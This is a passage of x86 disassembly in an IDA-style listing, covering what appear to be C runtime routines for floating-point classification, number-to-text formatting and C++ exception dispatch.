loc_421FA4:				; CODE XREF: sub_421F51+15j
					; sub_421F51+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421FA7:				; CODE XREF: sub_421F51+41j
					; sub_421F51+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_421F51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421FAB(double,int)

sub_421FAB	proc near		; CODE XREF: sub_421BFF+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_421FCB
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_422061
; ---------------------------------------------------------------------------


loc_421FCB:				; CODE XREF: sub_421FAB+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42203A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421FE3
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42203A


loc_421FE3:				; CODE XREF: sub_421FAB+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_421FFB
		push	1
		pop	eax
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_421FFB:				; CODE XREF: sub_421FAB+49j
		xor	eax, eax


loc_421FFD:				; CODE XREF: sub_421FAB+4Ej
					; sub_421FAB+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_422016
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_422010
		or	dword ptr [ebp+arg_0+4], 1


loc_422010:				; CODE XREF: sub_421FAB+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_422016:				; CODE XREF: sub_421FAB+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_422024
		or	byte ptr [ebp+arg_0+7],	80h


loc_422024:				; CODE XREF: sub_421FAB+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_422061
; ---------------------------------------------------------------------------


loc_42203A:				; CODE XREF: sub_421FAB+28j
					; sub_421FAB+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_422061:				; CODE XREF: sub_421FAB+1Bj
					; sub_421FAB+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_421FAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42206C	proc near		; CODE XREF: sub_42194C+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42206C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42207A	proc near		; CODE XREF: sub_42194C+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42207A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422089	proc near		; CODE XREF: sub_41D055+13p
					; sub_41D055+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_422089	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220AC	proc near		; CODE XREF: sub_421BFF+1Dp
					; sub_421BFF+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_4220C3
		fld	tbyte_43D408
		fistp	[ebp+arg_0]
		wait


loc_4220C3:				; CODE XREF: sub_4220AC+Bj
		test	cl, 8
		jz	short loc_4220D8
		fstsw	ax
		fld	tbyte_43D408
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_4220D8:				; CODE XREF: sub_4220AC+1Aj
		test	cl, 10h
		jz	short loc_4220E7
		fld	tbyte_43D414
		fstp	[ebp+var_8]
		wait


loc_4220E7:				; CODE XREF: sub_4220AC+2Fj
		test	cl, 4
		jz	short loc_4220F5
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_4220F5:				; CODE XREF: sub_4220AC+3Ej
		test	cl, 20h
		jz	short locret_422100
		fldpi
		fstp	[ebp+var_8]
		wait

locret_422100:				; CODE XREF: sub_4220AC+4Cj
		leave
		retn
sub_4220AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_422102	proc near		; CODE XREF: sub_41D124+Fp
		push	30000h
		push	10000h
		call	sub_424865
		pop	ecx
		pop	ecx
		retn
sub_422102	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422114	proc near		; CODE XREF: sub_422152:loc_422176j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427870
		fstp	[ebp+var_8]
		fld	dbl_427868
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4276F8
		fnstsw	ax
		sahf
		jbe	short loc_42214E
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_42214E:				; CODE XREF: sub_422114+33j
		xor	eax, eax
		leave
		retn
sub_422114	endp


; =============== S U B	R O U T	I N E =======================================



sub_422152	proc near		; CODE XREF: sub_41D124+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 26A0000h
		test	eax, eax
		jz	short loc_422176
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26C0000h
		test	eax, eax
		jz	short loc_422176
		push	0
		call	eax ; sub_41D124
		retn
; ---------------------------------------------------------------------------


loc_422176:				; CODE XREF: sub_422152+Dj
					; sub_422152+1Dj
		jmp	sub_422114
sub_422152	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42217B	proc near		; CODE XREF: sub_41FF3F+3CBp
					; DATA XREF: sub_41D13C+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41DFEC
		cmp	eax, 65h
		pop	ecx
		jz	short loc_4221BB


loc_42218F:				; CODE XREF: sub_42217B+3Ej
		inc	esi
		cmp	dword_43D084, 1
		jle	short loc_4221A8
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4221B7
; ---------------------------------------------------------------------------


loc_4221A8:				; CODE XREF: sub_42217B+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4221B7:				; CODE XREF: sub_42217B+2Bj
		test	eax, eax
		jnz	short loc_42218F


loc_4221BB:				; CODE XREF: sub_42217B+12j
		mov	cl, byte_43D088
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_4221C6:				; CODE XREF: sub_42217B+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_4221C6
		pop	esi
		retn
sub_42217B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4221D5	proc near		; CODE XREF: sub_41FF3F+3E2p
					; DATA XREF: sub_41D13C+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43D088
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4221F1


loc_4221E5:				; CODE XREF: sub_4221D5+1Aj
		cmp	cl, dl
		jz	short loc_4221F1
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_4221E5


loc_4221F1:				; CODE XREF: sub_4221D5+Ej
					; sub_4221D5+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_422222


loc_4221F8:				; CODE XREF: sub_4221D5+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42220B
		cmp	cl, 65h
		jz	short loc_42220B
		cmp	cl, 45h
		jz	short loc_42220B
		inc	eax
		jmp	short loc_4221F8
; ---------------------------------------------------------------------------


loc_42220B:				; CODE XREF: sub_4221D5+27j
					; sub_4221D5+2Cj ...
		mov	ecx, eax


loc_42220D:				; CODE XREF: sub_4221D5+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42220D
		cmp	[eax], dl
		jnz	short loc_422218
		dec	eax


loc_422218:				; CODE XREF: sub_4221D5+40j
					; sub_4221D5+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_422218

locret_422222:				; CODE XREF: sub_4221D5+21j
		retn
sub_4221D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_422223	proc near		; DATA XREF: sub_41D13C+28o
					; ___:off_43D430o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jb	short loc_422238
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422238:				; CODE XREF: sub_422223+Fj
		xor	eax, eax
		retn
sub_422223	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42223B	proc near		; CODE XREF: sub_420DB0+430p
					; DATA XREF: sub_41D13C+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_422264
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424D28
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422264:				; CODE XREF: sub_42223B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424D55
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42223B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422279	proc near		; CODE XREF: sub_4224F6+17p
					; sub_422540+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DBE5C, 0
		push	ebx
		push	esi
		jz	short loc_4222AE
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DBE58
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_422591
		pop	ecx
		pop	ecx
		jmp	short loc_4222E6
; ---------------------------------------------------------------------------


loc_4222AE:				; CODE XREF: sub_422279+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_424DF9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424D82
		add	esp, 14h


loc_4222E6:				; CODE XREF: sub_422279+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_4222F2
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_4222F2:				; CODE XREF: sub_422279+73j
		test	ebx, ebx
		jle	short loc_42230A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43D088
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_42230A:				; CODE XREF: sub_422279+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DBE5C, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41C890
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_422331
		mov	byte ptr [ecx],	45h


loc_422331:				; CODE XREF: sub_422279+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_422376
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_422345
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_422345:				; CODE XREF: sub_422279+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_42235C
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_42235C:				; CODE XREF: sub_422279+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_422373
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_422373:				; CODE XREF: sub_422279+E7j
		add	[ecx+1], bl


loc_422376:				; CODE XREF: sub_422279+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_422279	endp


; =============== S U B	R O U T	I N E =======================================



sub_42237D	proc near		; CODE XREF: sub_42251D+13p
					; sub_422540+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DBE5C, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_4223B8
		mov	eax, dword_4DBE60
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DBE58
		cmp	eax, ebx
		jnz	short loc_4223E8
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_4223E8
; ---------------------------------------------------------------------------


loc_4223B8:				; CODE XREF: sub_42237D+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_424DF9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424D82
		add	esp, 14h


loc_4223E8:				; CODE XREF: sub_42237D+22j
					; sub_42237D+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_4223F6
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_4223F6:				; CODE XREF: sub_42237D+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_42240D
		push	1
		push	edi
		call	sub_422591
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_42240F
; ---------------------------------------------------------------------------


loc_42240D:				; CODE XREF: sub_42237D+7Ej
		add	edi, eax


loc_42240F:				; CODE XREF: sub_42237D+8Ej
		test	ebx, ebx
		jle	short loc_422454
		push	1
		push	edi
		call	sub_422591
		mov	al, byte_43D088
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_422454
		cmp	byte_4DBE5C, 0
		jz	short loc_422439
		neg	esi
		jmp	short loc_42243F
; ---------------------------------------------------------------------------


loc_422439:				; CODE XREF: sub_42237D+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_422441


loc_42243F:				; CODE XREF: sub_42237D+BAj
		mov	ebx, esi


loc_422441:				; CODE XREF: sub_42237D+C0j
		push	ebx
		push	edi
		call	sub_422591
		push	ebx
		push	30h
		push	edi
		call	sub_41BF70
		add	esp, 14h


loc_422454:				; CODE XREF: sub_42237D+94j
					; sub_42237D+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42237D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42245B	proc near		; CODE XREF: sub_422540+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_424DF9
		mov	dword_4DBE58, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DBE60, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424D82
		mov	eax, dword_4DBE58
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DBE60, ecx
		setl	cl
		mov	byte_4DBE64, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DBE60, eax
		jl	short loc_4224E1
		cmp	eax, ebx
		jge	short loc_4224E1
		test	cl, cl
		jz	short loc_4224D2


loc_4224C8:				; CODE XREF: sub_42245B+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_4224C8
		and	[esi-2], al


loc_4224D2:				; CODE XREF: sub_42245B+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_42251D
		add	esp, 0Ch
		jmp	short loc_4224F1
; ---------------------------------------------------------------------------


loc_4224E1:				; CODE XREF: sub_42245B+63j
					; sub_42245B+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_4224F6
		add	esp, 10h


loc_4224F1:				; CODE XREF: sub_42245B+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42245B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4224F6	proc near		; CODE XREF: sub_42245B+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DBE5C, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_422279
		and	byte_4DBE5C, 0
		add	esp, 10h
		retn
sub_4224F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42251D	proc near		; CODE XREF: sub_42245B+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DBE5C, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_42237D
		and	byte_4DBE5C, 0
		add	esp, 0Ch
		retn
sub_42251D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422540	proc near		; CODE XREF: sub_41FF3F+3AAp
					; DATA XREF: sub_41D13Co ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 45h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 66h
		jnz	short loc_422568
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42237D
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422568:				; CODE XREF: sub_422540+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42245B
		jmp	short loc_42258C
; ---------------------------------------------------------------------------


loc_42257B:				; CODE XREF: sub_422540+7j
					; sub_422540+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422279


loc_42258C:				; CODE XREF: sub_422540+39j
		add	esp, 10h
		pop	ebp
		retn
sub_422540	endp


; =============== S U B	R O U T	I N E =======================================



sub_422591	proc near		; CODE XREF: sub_422279+2Cp
					; sub_42237D+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_4225B4
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D670
		add	esp, 10h
		pop	esi


loc_4225B4:				; CODE XREF: sub_422591+7j
		pop	edi
		retn
sub_422591	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B6	proc near		; CODE XREF: ___:0041D31Cp
					; sub_41D385+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_4225CC
		call	sub_422E52


loc_4225CC:				; CODE XREF: sub_4225B6+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_4225F4
		cmp	dword ptr [esi+4], 0
		jz	short loc_42264A
		cmp	[ebp+arg_14], 0
		jnz	short loc_42264A
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_4228FD
		add	esp, 10h
		jmp	short loc_42264A
; ---------------------------------------------------------------------------


loc_4225F4:				; CODE XREF: sub_4225B6+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_42264A
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42262E
		cmp	[eax+14h], edi
		jbe	short loc_42262E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_42262E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_42264D
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_4225B6+4Aj
					; sub_4225B6+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_422651
		add	esp, 20h


loc_42264A:				; CODE XREF: sub_4225B6+23j
					; sub_4225B6+29j ...
		push	1
		pop	eax


loc_42264D:				; CODE XREF: sub_4225B6+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4225B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422651	proc near		; CODE XREF: sub_4225B6+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_422671
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_422676


loc_422671:				; CODE XREF: sub_422651+16j
		call	sub_422E52


loc_422676:				; CODE XREF: sub_422651+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		mov	esi, dword_4DBE68
		test	esi, esi
		jz	loc_4227C8
		mov	eax, dword_4DBE6C
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424F80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4226CC
		call	sub_422E52


loc_4226CC:				; CODE XREF: sub_422651+74j
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		call	sub_422E52


loc_4226EA:				; CODE XREF: sub_422651+41j
					; sub_422651+46j ...
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	loc_4227CD
		cmp	[esi+14h], edi
		jnz	loc_4227CD
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	ebx, eax


loc_422721:				; CODE XREF: sub_422651+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_4227B8
		cmp	[ebx], edi
		jg	short loc_4227AD
		cmp	edi, [ebx+4]
		jg	short loc_4227AD
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_4227AA


loc_422746:				; CODE XREF: sub_422651+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_422777


loc_422758:				; CODE XREF: sub_422651+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_4228A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_422786
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_422758


loc_422777:				; CODE XREF: sub_422651+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_422746
		jmp	short loc_4227AA
; ---------------------------------------------------------------------------


loc_422786:				; CODE XREF: sub_422651+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_4227AA:				; CODE XREF: sub_422651+F3j
					; sub_422651+133j
		mov	edi, [ebp+var_10]


loc_4227AD:				; CODE XREF: sub_422651+DEj
					; sub_422651+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_422721
; ---------------------------------------------------------------------------


loc_4227B8:				; CODE XREF: sub_422651+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_4227C8
		push	1
		push	esi
		call	sub_422D26
		pop	ecx
		pop	ecx


loc_4227C8:				; CODE XREF: sub_422651+56j
					; sub_422651+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


